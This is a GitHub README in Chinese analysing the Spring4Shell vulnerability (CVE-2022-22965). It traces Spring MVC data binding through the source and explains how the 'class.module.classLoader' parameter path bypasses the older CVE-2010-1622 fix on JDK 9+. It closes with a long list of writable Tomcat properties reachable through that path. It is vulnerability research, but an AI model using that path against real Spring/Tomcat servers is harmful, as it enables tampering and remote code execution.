Skip to content

Enokiy/spring-RCE-CVE-2022-22965

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

漏洞简介

最近spring爆出重磅级CVE漏洞,cve信息显示"A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.(在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。具体的利用需要应用程序作为war包部署在 Tomcat上运行。 如果应用程序部署为Spring Boot可执行jar,即默认值,则它不易受到攻击。但是,该漏洞的性质更为普遍,可能还有其他方法可以利用它)"。本次分析通过复现该CVE学习漏洞原理。

java Bean API

看springmvc的参数绑定原理之前,我们先来看下java Bean相关的一些API。

  • java Bean:实际上是一种规范,当一个类满足这个规范,这个类就能被其它特定的类调用。一个类被当作java Bean使用时,该类包含一组私有属性,通过public的 get/is()或set()方法对属性进行读写操作。
  • Introspector(内省): The Introspector class provides a standard way for tools to learn about the properties, events, and methods supported by a target Java Bean. For each of those three kinds of information, the Introspector will separately analyze the bean's class and superclasses looking for either explicit or implicit information and use that information to build a BeanInfo object that comprehensively describes the target bean.(Java对Java Bean类的属性、事件和方法提供的缺省处理方式。比如,查找某个bean类的属性/方法时,如果在当前bean类中没找到这个属性,则向bean类的父类中查找等约定。)
  • BeanInfo:Introspect on a Java Bean and learn about all its properties, exposed methods, and events.If the BeanInfo class for a Java Bean has been previously Introspected then the BeanInfo class is retrieved from the BeanInfo cache.(对 Java Bean 进行内省并了解其所有属性、公开的方法和事件。如果Java Bean 的 BeanInfo 类先前已被内省,则从 BeanInfo 缓存中检索BeanInfo类。)
  • PropertyDescriptor:用于描述java Bean通过一组accessor methods暴露的属性。

声明如下的java bean类:

public class User {
    private String name;

    public User() {
    }
    public void setName(String name) {
        this.name = name;
    }
    public String getName() {
        return this.name;
    }
    public int getAge() {
        return 18;
    }
}

用如下的测试代码来看下Introspector.getBeanInfo获取到的信息:

@Test
    public  void testIntrospector() throws IntrospectionException {
        BeanInfo beanInfo = Introspector.getBeanInfo(User.class);
        for (PropertyDescriptor pdesc:beanInfo.getPropertyDescriptors()){
            System.out.println("Property: " + pdesc.getName() + ",Class:" + pdesc.getPropertyType());
        }
//        for (MethodDescriptor md:beanInfo.getMethodDescriptors()) {
//            System.out.println("Method: " + md.getName());
//        }
    }

output:

Property: age,Class:int
Property: class,Class:class java.lang.Class
Property: name,Class:class java.lang.String

除了在预料之内的age和那么之外,还有一个class属性,类名是Class,如果再继续调用Introspector.getBeanInfo(Class.class)可以获取到classLoader等更多的信息:

Property: annotatedInterfaces
Property: annotatedSuperclass
Property: annotation
Property: annotations
Property: anonymousClass
Property: array
Property: canonicalName
Property: class
Property: classLoader
Property: classes
Property: componentType
Property: constructors
Property: declaredAnnotations
Property: declaredClasses
Property: declaredConstructors
Property: declaredFields
Property: declaredMethods
Property: declaringClass
Property: enclosingClass
Property: enclosingConstructor
Property: enclosingMethod
Property: enum
Property: enumConstants
Property: fields
Property: genericInterfaces
Property: genericSuperclass
Property: interface
Property: interfaces
Property: localClass
Property: memberClass
Property: methods
Property: modifiers
Property: module
Property: name
Property: nestHost
Property: nestMembers
Property: package
Property: packageName
Property: primitive
Property: protectionDomain
Property: signers
Property: simpleName
Property: superclass
Property: synthetic
Property: typeName
Property: typeParameters

另外再对比下不同JDK版本下Introspector.getBeanInfo(Class.class)获取到的信息的区别,上面的是jdk-11下的输出,下面的是JDK8下的输出:

Property: annotatedInterfaces
Property: annotatedSuperclass
Property: annotation
Property: annotations
Property: anonymousClass
Property: array
Property: canonicalName
Property: class
Property: classLoader
Property: classes
Property: componentType
Property: constructors
Property: declaredAnnotations
Property: declaredClasses
Property: declaredConstructors
Property: declaredFields
Property: declaredMethods
Property: declaringClass
Property: enclosingClass
Property: enclosingConstructor
Property: enclosingMethod
Property: enum
Property: enumConstants
Property: fields
Property: genericInterfaces
Property: genericSuperclass
Property: interface
Property: interfaces
Property: localClass
Property: memberClass
Property: methods
Property: modifiers
Property: name
Property: package
Property: primitive
Property: protectionDomain
Property: signers
Property: simpleName
Property: superclass
Property: synthetic
Property: typeName
Property: typeParameters
Property: annotatedInterfaces
Property: annotatedSuperclass
Property: annotation
Property: annotations
Property: anonymousClass
Property: array
Property: canonicalName
Property: class
Property: classLoader
Property: classes
Property: componentType
Property: constructors
Property: declaredAnnotations
Property: declaredClasses
Property: declaredConstructors
Property: declaredFields
Property: declaredMethods
Property: declaringClass
Property: enclosingClass
Property: enclosingConstructor
Property: enclosingMethod
Property: enum
Property: enumConstants
Property: fields
Property: genericInterfaces
Property: genericSuperclass
Property: interface
Property: interfaces
Property: localClass
Property: memberClass
Property: methods
Property: modifiers
Property: module
Property: name
Property: package
Property: packageName
Property: primitive
Property: protectionDomain
Property: signers
Property: simpleName
Property: superclass
Property: synthetic
Property: typeName
Property: typeParameters

jdk9相比JDK8多出来两个属性module和packageName,而JDK11上除了module和packageName属性之外还有另外两个属性nestHost和nestMembers。

data binding数据绑定

web类框架中的参数绑定过程,通俗点来说就是,框架把http请求中的字符串形式的参数转换成服务端真正需要的类型,以spring MVC为例: 定义两个Bean 类User和UserInfo:

public class UserInfo {
    public User getUser() {
        return user;
    }

    public void setUser(User user) {
        this.user = user;
    }

    public String getPassword() {
        return password;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    private User user;
    private String password;

    @Override
    public String toString() {
        return "UserInfo{" +
                "user=" + user +
                ", password='" + password + '\'' +
                '}';
    }
}

用如下的controller作为测试:

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class DemoController {
    public DemoController() {
    }

    @RequestMapping({"/test"})
    public String test(User u) {
        System.out.println("access!");
        return "home";
    }

    @RequestMapping({"/get-user-info"})
    public String getUserInfo(UserInfo userInfo) {
        System.out.println("Name:"  + userInfo.getUser().getName());
        System.out.println("Age:"  + userInfo.getUser().getAge());
        System.out.println("password:" + userInfo.getPassword());
        System.out.println("classLoader:" + userInfo.getClass().getClassLoader());

        return userInfo.toString();
    }
}

当我们访问/get-user-info?password=password&user.name=enokiy时,框架会自动的实例化UserInfo类,并且把对应的值绑定到对应的属性上(通过user.name可以嵌套访问userInfo.user.name属性):

我们通过调试来看下spring MVC中数据绑定的完整流程: 从org.springframework.web.servlet.DispatcherServlet的doDispatch方法开始,doDispatch方法中首先根据请求获取到mappedHandler,然后再获取到HandlerAdapter,通过调用HandlerAdapter的handle()方法对请求进行具体处理然后返回ModelAndView:

其中在HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler()) 这里获取到的ha实际为org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter类,执行HandlerAdapter的handle()方法后,进入RequestMappingHandlerAdapter的invokeHandleMethod方法:

然后在invokeHandleMethod方法中,根据handlerMethod生成一个ServletInvocableHandlerMethod的实例invocableMethod,设置相应的dataBinderFactory和modelFactory以及argumentResolvers,接着进入invocableMethod的invokeAndHandle-->invokeForRequest-->getMethodArgumentValues方法中通过不同的参数解析器进行解析:

这里的参数解析器有以下这些:

org.springframework.web.method.annotation.RequestParamMethodArgumentResolver
org.springframework.web.method.annotation.RequestParamMapMethodArgumentResolver
org.springframework.web.servlet.mvc.method.annotation.PathVariableMethodArgumentResolver
org.springframework.web.servlet.mvc.method.annotation.PathVariableMapMethodArgumentResolver
org.springframework.web.servlet.mvc.method.annotation.MatrixVariableMethodArgumentResolver
org.springframework.web.servlet.mvc.method.annotation.MatrixVariableMapMethodArgumentResolver
org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor
org.springframework.web.servlet.mvc.method.annotation.RequestResponseBodyMethodProcessor
org.springframework.web.servlet.mvc.method.annotation.RequestPartMethodArgumentResolver
org.springframework.web.method.annotation.RequestHeaderMethodArgumentResolver
org.springframework.web.method.annotation.RequestHeaderMapMethodArgumentResolver
org.springframework.web.servlet.mvc.method.annotation.ServletCookieValueMethodArgumentResolver
org.springframework.web.method.annotation.ExpressionValueMethodArgumentResolver
org.springframework.web.servlet.mvc.method.annotation.SessionAttributeMethodArgumentResolver
org.springframework.web.servlet.mvc.method.annotation.RequestAttributeMethodArgumentResolver
org.springframework.web.servlet.mvc.method.annotation.ServletRequestMethodArgumentResolver
org.springframework.web.servlet.mvc.method.annotation.ServletResponseMethodArgumentResolver
org.springframework.web.servlet.mvc.method.annotation.HttpEntityMethodProcessor
org.springframework.web.servlet.mvc.method.annotation.RedirectAttributesMethodArgumentResolver
org.springframework.web.method.annotation.ModelMethodProcessor
org.springframework.web.method.annotation.MapMethodProcessor
org.springframework.web.method.annotation.ErrorsMethodArgumentResolver
org.springframework.web.method.annotation.SessionStatusMethodArgumentResolver
org.springframework.web.servlet.mvc.method.annotation.UriComponentsBuilderMethodArgumentResolver
org.springframework.web.method.annotation.RequestParamMethodArgumentResolver
org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor

那么怎么知道应该具体选用哪个参数解析器来解析当前请求中的参数呢? springmvc中是根据参数的注解信息来判断的(代码逻辑在HandlerMethodArgumentResolverComposite#getArgumentResolver方法中),如使用@RequestMapping以及@modelAttribute注解的话就是用org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor, @RequestParam对应RequestParamMethodArgumentResolver等.

当前demo中使用的注解是@RequestMapping,所以我们接着看ServletModelAttributeMethodProcessor类中参数绑定的过程:

public final Object resolveArgument(MethodParameter parameter, @Nullable ModelAndViewContainer mavContainer,
			NativeWebRequest webRequest, @Nullable WebDataBinderFactory binderFactory) throws Exception {

		Assert.state(mavContainer != null, "ModelAttributeMethodProcessor requires ModelAndViewContainer");
		Assert.state(binderFactory != null, "ModelAttributeMethodProcessor requires WebDataBinderFactory");

		String name = ModelFactory.getNameForParameter(parameter);
		ModelAttribute ann = parameter.getParameterAnnotation(ModelAttribute.class);
		if (ann != null) {
			mavContainer.setBinding(name, ann.binding());
		}

		Object attribute = null;
		BindingResult bindingResult = null;

		if (mavContainer.containsAttribute(name)) {
			attribute = mavContainer.getModel().get(name);
		}
		else {
			// Create attribute instance
			try {
				attribute = createAttribute(name, parameter, binderFactory, webRequest);
			}
			catch (BindException ex) {
				if (isBindExceptionRequired(parameter)) {
					// No BindingResult parameter -> fail with BindException
					throw ex;
				}
				// Otherwise, expose null/empty value and associated BindingResult
				if (parameter.getParameterType() == Optional.class) {
					attribute = Optional.empty();
				}
				bindingResult = ex.getBindingResult();
			}
		}

		if (bindingResult == null) {
			// Bean property binding and validation;
			// skipped in case of binding failure on construction.
			WebDataBinder binder = binderFactory.createBinder(webRequest, attribute, name);
			if (binder.getTarget() != null) {
				if (!mavContainer.isBindingDisabled(name)) {
					bindRequestParameters(binder, webRequest);
				}
				validateIfApplicable(binder, parameter);
				if (binder.getBindingResult().hasErrors() && isBindExceptionRequired(binder, parameter)) {
					throw new BindException(binder.getBindingResult());
				}
			}
			// Value type adaptation, also covering java.util.Optional
			if (!parameter.getParameterType().isInstance(attribute)) {
				attribute = binder.convertIfNecessary(binder.getTarget(), parameter.getParameterType(), parameter);
			}
			bindingResult = binder.getBindingResult();
		}

		// Add resolved attribute and BindingResult at the end of the model
		Map<String, Object> bindingResultModel = bindingResult.getModel();
		mavContainer.removeAttributes(bindingResultModel);
		mavContainer.addAllAttributes(bindingResultModel);

		return attribute;
	}

根据请求参数获取model中的参数名,首先看ModelAndViewContainer中是否包含该参数名,是直接从ModelAndViewContainer中获取属性,否则进入ServletModelAttributeMethodProcessor#createAttribute方法创建model的属性:

  • ServletModelAttributeMethodProcessor#createAttribute:

    首先在当前类中处理请求的uri和parameter中是否包含属性名(getRequestValueForAttribute方法),是返回值,否则到super.createAttribute方法:

  • binderFactory.createBinder: 创建WebRequestDataBinder

  • bindRequestParameters: ServletModelAttributeMethodProcessor#bindRequestParameters--> ServletRequestDataBinder#bind --> ServletRequestDataBinder#doBind -->DataBinder#doBind -->DataBinder#applyPropertyValues -->DataBinder#getPropertyAccessor().setPropertyValues:

其中在DataBinder#doBind方法中有一些allowFields和requiredFields的检查,当前测试版本中默认为空:

AbstractPropertyAccessor#setPropertyValues(PropertyValues pvs, boolean ignoreUnknown, boolean ignoreInvalid)中循环调用AbstractPropertyAccessor#setPropertyValue方法对每个请求参数的属性值进行绑定,绑定过程中如果发现参数名中包含".",还需要通过调用getNestedPropertyAccessor对"."后面的属性进行递归绑定:

递归获取属性值的过程进入以下的数据流处理:

AbstractNestablePropertyAccessor#getNestedPropertyAccessor-->AbstractNestablePropertyAccessor#setDefaultValue-->AbstractNestablePropertyAccessor#createDefaultPropertyValue-->AbstractNestablePropertyAccessor#getPropertyTypeDescriptor-->BeanWrapperImpl#getLocalPropertyHandler-->BeanWrapperImpl#getCachedIntrospectionResults

而在getLocalPropertyHandler中,会调用getCachedIntrospectionResults方法去cachedIntrospectionResults中查找是否存在当前属性,而这个cachedIntrospectionResults中除了当前请求中的属性之外,还自带一个名为的class属性:

前面提到的内省机制中获取BeanInfo的时候提到,Java Bean 的 BeanInfo 类先前已被内省过的话,则从 BeanInfo缓存中检索BeanInfo类,所以这里的cachedIntrospectionResults的作用应该是为了实现这个特性的:

到这里,总结一下springMVC中参数绑定的过程:

  1. SpringMVC初始化时,RequestMappingHandlerAdapter类会把一些默认的参数解析器添加到argumentResolvers中。当SpringMVC接收到请求后会进入DispatcherServlet的doDispatch,doDispatch方法中首先根据请求获取到mappedHandler,然后再获取到HandlerAdapter,通过调用HandlerAdapter的handle()方法对请求进行具体处理然后返回ModelAndView,ViewResolver再去解析并返回View,前端解析器去最后渲染视图。 http://rui0.cn/wp-content/uploads/2019/10/Ping_Mu_Kuai_Zhao_-2019-10-17-_Xia_Wu_8.png
  2. 在HandlerAdapter的handle()方法中对请求进行具体处理的过程中,根据handlerMethod生成一个ServletInvocableHandlerMethod的实例invocableMethod,设置相应的dataBinderFactory和modelFactory以及argumentResolvers,接着进入invocableMethod的invokeAndHandle-->invokeForRequest-->getMethodArgumentValues方法中通过不同的参数解析器进行解析,其中参数解析器是基于参数的注解信息来确定的。
  3. 参数解析器进行参数解析,先生成请求参数对应handlerMethod参数名的实例(属性),然后通过DataBinder最终进入BeanWrapperImpl进行bean相关属性的赋值,BeanWrapperImpl具体实现了创建、持有以及修改bean的方法。 其中的setPropertyValue方法可以将参数值注入到指定bean的相关属性中(包括list,map等),同时也可以嵌套设置属性值:

http://rui0.cn/wp-content/uploads/2019/10/20170119132139329.jpeg

无论是spring mvc的数据绑定(将各式参数绑定到@RequestMapping注解的请求处理方法的参数上),还是BeanFactory(处理@Autowired注解)都会使用到BeanWrapper接口

变量覆盖

由于上面提到的的setPropertyValue方法在嵌套设置属性的时候会去cachedIntrospectionResults查找,并且cachedIntrospectionResults中除了请求中的参数之外还多了一个class属性,所以可以在请求中通过class.classLoader.xx的方式访问classLoader中的属性,这个就是spring早期版本中的CVE-2010-1622漏洞;而这次的CVE-2022-22965就是这个漏洞的防护机制绕过:

cachedIntrospectionResults的构造如下:

  1. 通过Introspector.getBeanInfo(beanClass, Introspector.IGNORE_ALL_BEANINFO)提取BeanClass的属性信息,因为Introspector.getBeanInfo(beanClass, Introspector.IGNORE_ALL_BEANINFO) 方法没有指定stopClass,所以在当前类中查找不到属性的时候,会向父类中查找;
  2. 禁用Class类的ClassLoader和protectionDomain属性,这里就是CVE-2010-1622的防御方式;

文章开头对比过不同JDK版本下通过Introspector.getBeanInfo(xxx)获取到的属性值有所不同,在JDK9及以上的版本中,多出来两个属性module和packageName,而在module属性下存在classLoader属性,所以可以利用module属性来访问classLoader,这样就饶过了CVE-2010-1622的防御进行变量覆盖:

漏洞利用

了解了该漏洞的本质原因是变量覆盖之后,再来看下漏洞利用过程中的问题:

  1. 能够覆盖哪些变量?
  2. 覆盖的变量会带来什么影响?

现在知道可以通过class.module.classLoader来进行变量覆盖操作,那么具体有哪些变量是可以覆盖的?在springmvc不同的部署场景下classLoader不一样,因此利用方式上是不通用的.

部署形式 classLoader
SpringBoot FatJar org.springframework.boot.loader.LaunchedURLClassLoader
tomcat war org.apache.catalina.loader.ParallelWebappClassLoader
jetty war org.eclipse.jetty.webapp.WebAppClassLoader

在tomcat war部署下(当前测试环境:"apache-tomcat-8.5.8" + "jdk-11.0.1"),class.module下能访问的可读可写的属性如下(不完整,没有收集属性是List/Map/Set的):

点击查看class.module下能访问的可读可写的属性 ```text class.module class.module.classLoader.clearReferencesHttpClientKeepAliveThread class.module.classLoader.clearReferencesLogFactoryRelease class.module.classLoader.clearReferencesRmiTargets class.module.classLoader.clearReferencesStopThreads class.module.classLoader.clearReferencesStopTimerThreads class.module.classLoader.delegate class.module.classLoader.resources class.module.classLoader.clearReferencesHttpClientKeepAliveThread class.module.classLoader.resources class.module.classLoader.resources.allowLinking class.module.classLoader.resources.cacheMaxSize class.module.classLoader.resources.cacheObjectMaxSize class.module.classLoader.resources.cacheTtl class.module.classLoader.resources.cachingAllowed class.module.classLoader.resources.context class.module.classLoader.resources.domain class.module.classLoader.resources.trackLockedFiles class.module.classLoader.resources.cacheMaxSize class.module.classLoader.resources.cacheObjectMaxSize class.module.classLoader.resources.cacheTtl class.module.classLoader.resources.context class.module.classLoader.resources.context.addWebinfClassesResources class.module.classLoader.resources.context.allowCasualMultipartParsing class.module.classLoader.resources.context.altDDName class.module.classLoader.resources.context.antiResourceLocking class.module.classLoader.resources.context.applicationEventListeners class.module.classLoader.resources.context.applicationLifecycleListeners class.module.classLoader.resources.context.backgroundProcessorDelay class.module.classLoader.resources.context.charsetMapper class.module.classLoader.resources.context.charsetMapperClass class.module.classLoader.resources.context.clearReferencesHttpClientKeepAliveThread class.module.classLoader.resources.context.clearReferencesRmiTargets class.module.classLoader.resources.context.clearReferencesStopThreads class.module.classLoader.resources.context.clearReferencesStopTimerThreads class.module.classLoader.resources.context.cluster class.module.classLoader.resources.context.configFile class.module.classLoader.resources.context.configured class.module.classLoader.resources.context.containerSciFilter class.module.classLoader.resources.context.cookieProcessor class.module.classLoader.resources.context.cookies class.module.classLoader.resources.context.copyXML class.module.classLoader.resources.context.crossContext class.module.classLoader.resources.context.defaultContextXml class.module.classLoader.resources.context.defaultWebXml class.module.classLoader.resources.context.delegate class.module.classLoader.resources.context.denyUncoveredHttpMethods class.module.classLoader.resources.context.dispatchersUseEncodedPaths class.module.classLoader.resources.context.displayName class.module.classLoader.resources.context.distributable class.module.classLoader.resources.context.docBase class.module.classLoader.resources.context.domain class.module.classLoader.resources.context.effectiveMajorVersion class.module.classLoader.resources.context.effectiveMinorVersion class.module.classLoader.resources.context.failCtxIfServletStartFails class.module.classLoader.resources.context.fireRequestListenersOnFoards class.module.classLoader.resources.context.ignoreAnnotations class.module.classLoader.resources.context.instanceManager class.module.classLoader.resources.context.j2EEApplication class.module.classLoader.resources.context.j2EEServer class.module.classLoader.resources.context.jarScanner class.module.classLoader.resources.context.javaVMs class.module.classLoader.resources.context.jndiExceptionOnFailedWrite class.module.classLoader.resources.context.jspConfigDescriptor class.module.classLoader.resources.context.loader class.module.classLoader.resources.context.logEffectiveWebXml class.module.classLoader.resources.context.loginConfig class.module.classLoader.resources.context.manager class.module.classLoader.resources.context.mapperContextRootRedirectEnabled class.module.classLoader.resources.context.mapperDirectoryRedirectEnabled class.module.classLoader.resources.context.name class.module.classLoader.resources.context.namingContextListener class.module.classLoader.resources.context.namingResources class.module.classLoader.resources.context.originalDocBase class.module.classLoader.resources.context.override class.module.classLoader.resources.context.parent class.module.classLoader.resources.context.parentClassLoader class.module.classLoader.resources.context.path class.module.classLoader.resources.context.preemptiveAuthentication class.module.classLoader.resources.context.privileged class.module.classLoader.resources.context.publicId class.module.classLoader.resources.context.realm class.module.classLoader.resources.context.reloadable class.module.classLoader.resources.context.renewThreadsWhenStoppingContext class.module.classLoader.resources.context.resourceOnlyServlets class.module.classLoader.resources.context.resources class.module.classLoader.resources.context.sendRedirectBody class.module.classLoader.resources.context.server class.module.classLoader.resources.context.sessionCookieDomain class.module.classLoader.resources.context.sessionCookieName class.module.classLoader.resources.context.sessionCookiePath class.module.classLoader.resources.context.sessionCookiePathUsesTrailingSlash class.module.classLoader.resources.context.sessionTimeout class.module.classLoader.resources.context.startChildren class.module.classLoader.resources.context.startStopThreads class.module.classLoader.resources.context.startupTime class.module.classLoader.resources.context.swallowAbortedUploads class.module.classLoader.resources.context.swallowOutput class.module.classLoader.resources.context.threadBindingListener class.module.classLoader.resources.context.tldScanTime class.module.classLoader.resources.context.tldValidation class.module.classLoader.resources.context.unloadDelay class.module.classLoader.resources.context.unpackWAR class.module.classLoader.resources.context.useHttpOnly class.module.classLoader.resources.context.useNaming class.module.classLoader.resources.context.useRelativeRedirects class.module.classLoader.resources.context.validateClientProvidedNewSessionId class.module.classLoader.resources.context.webappVersion class.module.classLoader.resources.context.workDir class.module.classLoader.resources.context.wrapperClass class.module.classLoader.resources.context.xmlBlockExternal class.module.classLoader.resources.context.xmlNamespaceAware class.module.classLoader.resources.context.xmlValidation class.module.classLoader.resources.context.applicationEventListeners class.module.classLoader.resources.context.applicationLifecycleListeners class.module.classLoader.resources.context.authenticator.alwaysUseSession class.module.classLoader.resources.context.authenticator.asyncSupported class.module.classLoader.resources.context.authenticator.cache class.module.classLoader.resources.context.authenticator.changeSessionIdOnAuthentication class.module.classLoader.resources.context.authenticator.container class.module.classLoader.resources.context.authenticator.disableProxyCaching class.module.classLoader.resources.context.authenticator.domain class.module.classLoader.resources.context.authenticator.next class.module.classLoader.resources.context.authenticator.securePagesWithPragma class.module.classLoader.resources.context.authenticator.secureRandomAlgorithm class.module.classLoader.resources.context.authenticator.secureRandomClass class.module.classLoader.resources.context.authenticator.secureRandomProvider class.module.classLoader.resources.context.backgroundProcessorDelay class.module.classLoader.resources.context.charsetMapper class.module.classLoader.resources.context.configFile class.module.classLoader.resources.context.cookieProcessor class.module.classLoader.resources.context.effectiveMajorVersion class.module.classLoader.resources.context.instanceManager class.module.classLoader.resources.context.jarScanner class.module.classLoader.resources.context.jarScanner.jarScanFilter class.module.classLoader.resources.context.jarScanner.scanAllDirectories class.module.classLoader.resources.context.jarScanner.scanAllFiles class.module.classLoader.resources.context.jarScanner.scanBootstrapClassPath class.module.classLoader.resources.context.jarScanner.scanClassPath class.module.classLoader.resources.context.jarScanner.scanManifest class.module.classLoader.resources.context.loader class.module.classLoader.resources.context.loader.context class.module.classLoader.resources.context.loader.delegate class.module.classLoader.resources.context.loader.domain class.module.classLoader.resources.context.loader.loaderClass class.module.classLoader.resources.context.loader.reloadable class.module.classLoader.resources.context.loginConfig class.module.classLoader.resources.context.loginConfig.authMethod class.module.classLoader.resources.context.loginConfig.errorPage class.module.classLoader.resources.context.loginConfig.loginPage class.module.classLoader.resources.context.loginConfig.realmName class.module.classLoader.resources.context.manager class.module.classLoader.resources.context.manager.context class.module.classLoader.resources.context.manager.domain class.module.classLoader.resources.context.manager.duplicates class.module.classLoader.resources.context.manager.expiredSessions class.module.classLoader.resources.context.manager.maxActive class.module.classLoader.resources.context.manager.maxActiveSessions class.module.classLoader.resources.context.manager.pathname class.module.classLoader.resources.context.manager.processExpiresFrequency class.module.classLoader.resources.context.manager.processingTime class.module.classLoader.resources.context.manager.secureRandomAlgorithm class.module.classLoader.resources.context.manager.secureRandomClass class.module.classLoader.resources.context.manager.secureRandomProvider class.module.classLoader.resources.context.manager.sessionAttributeNameFilter class.module.classLoader.resources.context.manager.sessionAttributeValueClassNameFilter class.module.classLoader.resources.context.manager.sessionCounter class.module.classLoader.resources.context.manager.sessionIdGenerator class.module.classLoader.resources.context.manager.sessionMaxAliveTime class.module.classLoader.resources.context.manager.warnOnSessionAttributeFilterFailure class.module.classLoader.resources.context.namingContextListener class.module.classLoader.resources.context.namingContextListener.exceptionOnFailedWrite class.module.classLoader.resources.context.namingContextListener.name class.module.classLoader.resources.context.namingResources class.module.classLoader.resources.context.namingResources.container class.module.classLoader.resources.context.namingResources.domain class.module.classLoader.resources.context.namingResources.transaction class.module.classLoader.resources.context.parent class.module.classLoader.resources.context.parent.appBase class.module.classLoader.resources.context.parent.autoDeploy class.module.classLoader.resources.context.parent.backgroundProcessorDelay class.module.classLoader.resources.context.parent.cluster class.module.classLoader.resources.context.parent.configClass class.module.classLoader.resources.context.parent.contextClass class.module.classLoader.resources.context.parent.copyXML class.module.classLoader.resources.context.parent.createDirs class.module.classLoader.resources.context.parent.deployIgnore class.module.classLoader.resources.context.parent.deployOnStartup class.module.classLoader.resources.context.parent.deployXML class.module.classLoader.resources.context.parent.domain class.module.classLoader.resources.context.parent.errorReportValveClass class.module.classLoader.resources.context.parent.failCtxIfServletStartFails class.module.classLoader.resources.context.parent.name class.module.classLoader.resources.context.parent.parent class.module.classLoader.resources.context.parent.parentClassLoader class.module.classLoader.resources.context.parent.realm class.module.classLoader.resources.context.parent.startChildren class.module.classLoader.resources.context.parent.startStopThreads class.module.classLoader.resources.context.parent.undeployOldVersions class.module.classLoader.resources.context.parent.unpackWARs class.module.classLoader.resources.context.parent.workDir class.module.classLoader.resources.context.parent.xmlBase class.module.classLoader.resources.context.pipeline.basic class.module.classLoader.resources.context.pipeline.container class.module.classLoader.resources.context.realm class.module.classLoader.resources.context.realm.allRolesMode class.module.classLoader.resources.context.realm.cacheRemovalWarningTime class.module.classLoader.resources.context.realm.cacheSize class.module.classLoader.resources.context.realm.container class.module.classLoader.resources.context.realm.credentialHandler class.module.classLoader.resources.context.realm.domain class.module.classLoader.resources.context.realm.failureCount class.module.classLoader.resources.context.realm.lockOutTime class.module.classLoader.resources.context.realm.realmPath class.module.classLoader.resources.context.realm.stripRealmForGss class.module.classLoader.resources.context.realm.transportGuaranteeRedirectStatus class.module.classLoader.resources.context.realm.validate class.module.classLoader.resources.context.realm.x509UsernameRetrieverClassName class.module.classLoader.resources.context.sessionTimeout class.module.classLoader.resources.context.startupTime class.module.classLoader.resources.context.threadBindingListener class.module.classLoader.resources.context.unloadDelay class.module.classLoader.resources.context.authenticator.next class.module.classLoader.resources.context.authenticator.next.asyncSupported class.module.classLoader.resources.context.authenticator.next.container class.module.classLoader.resources.context.authenticator.next.domain class.module.classLoader.resources.context.authenticator.next.next class.module.classLoader.resources.context.jarScanner.jarScanFilter class.module.classLoader.resources.context.jarScanner.jarScanFilter.defaultPluggabilityScan class.module.classLoader.resources.context.jarScanner.jarScanFilter.defaultTldScan class.module.classLoader.resources.context.jarScanner.jarScanFilter.pluggabilityScan class.module.classLoader.resources.context.jarScanner.jarScanFilter.pluggabilitySkip class.module.classLoader.resources.context.jarScanner.jarScanFilter.tldScan class.module.classLoader.resources.context.jarScanner.jarScanFilter.tldSkip class.module.classLoader.resources.context.manager.engine.backgroundProcessorDelay class.module.classLoader.resources.context.manager.engine.cluster class.module.classLoader.resources.context.manager.engine.defaultHost class.module.classLoader.resources.context.manager.engine.domain class.module.classLoader.resources.context.manager.engine.jvmRoute class.module.classLoader.resources.context.manager.engine.name class.module.classLoader.resources.context.manager.engine.parent class.module.classLoader.resources.context.manager.engine.parentClassLoader class.module.classLoader.resources.context.manager.engine.realm class.module.classLoader.resources.context.manager.engine.service class.module.classLoader.resources.context.manager.engine.startChildren class.module.classLoader.resources.context.manager.engine.startStopThreads class.module.classLoader.resources.context.manager.processExpiresFrequency class.module.classLoader.resources.context.manager.sessionIdGenerator class.module.classLoader.resources.context.manager.sessionIdGenerator.jvmRoute class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomAlgorithm class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomClass class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomProvider class.module.classLoader.resources.context.manager.sessionIdGenerator.sessionIdLength class.module.classLoader.resources.context.namingContextListener.envContext.exceptionOnFailedWrite class.module.classLoader.resources.context.parent.accessLog.requestAttributesEnabled class.module.classLoader.resources.context.parent.pipeline.basic class.module.classLoader.resources.context.parent.pipeline.container class.module.classLoader.resources.context.parent.startStopExecutor.corePoolSize class.module.classLoader.resources.context.parent.startStopExecutor.maximumPoolSize class.module.classLoader.resources.context.parent.startStopExecutor.rejectedExecutionHandler class.module.classLoader.resources.context.parent.startStopExecutor.threadFactory class.module.classLoader.resources.context.realm.cacheRemovalWarningTime class.module.classLoader.resources.context.realm.cacheSize class.module.classLoader.resources.context.realm.credentialHandler class.module.classLoader.resources.context.realm.credentialHandler.algorithm class.module.classLoader.resources.context.realm.credentialHandler.encoding class.module.classLoader.resources.context.realm.credentialHandler.iterations class.module.classLoader.resources.context.realm.credentialHandler.logInvalidStoredCredentials class.module.classLoader.resources.context.realm.credentialHandler.saltLength class.module.classLoader.resources.context.realm.failureCount class.module.classLoader.resources.context.realm.lockOutTime class.module.classLoader.resources.context.realm.transportGuaranteeRedirectStatus class.module.classLoader.resources.context.servletContext.sessionCookieConfig.comment class.module.classLoader.resources.context.servletContext.sessionCookieConfig.domain class.module.classLoader.resources.context.servletContext.sessionCookieConfig.httpOnly class.module.classLoader.resources.context.servletContext.sessionCookieConfig.maxAge class.module.classLoader.resources.context.servletContext.sessionCookieConfig.name class.module.classLoader.resources.context.servletContext.sessionCookieConfig.path class.module.classLoader.resources.context.servletContext.sessionCookieConfig.secure class.module.classLoader.resources.context.manager.engine.pipeline.basic class.module.classLoader.resources.context.manager.engine.pipeline.container class.module.classLoader.resources.context.manager.engine.service class.module.classLoader.resources.context.manager.engine.service.container class.module.classLoader.resources.context.manager.engine.service.domain class.module.classLoader.resources.context.manager.engine.service.name 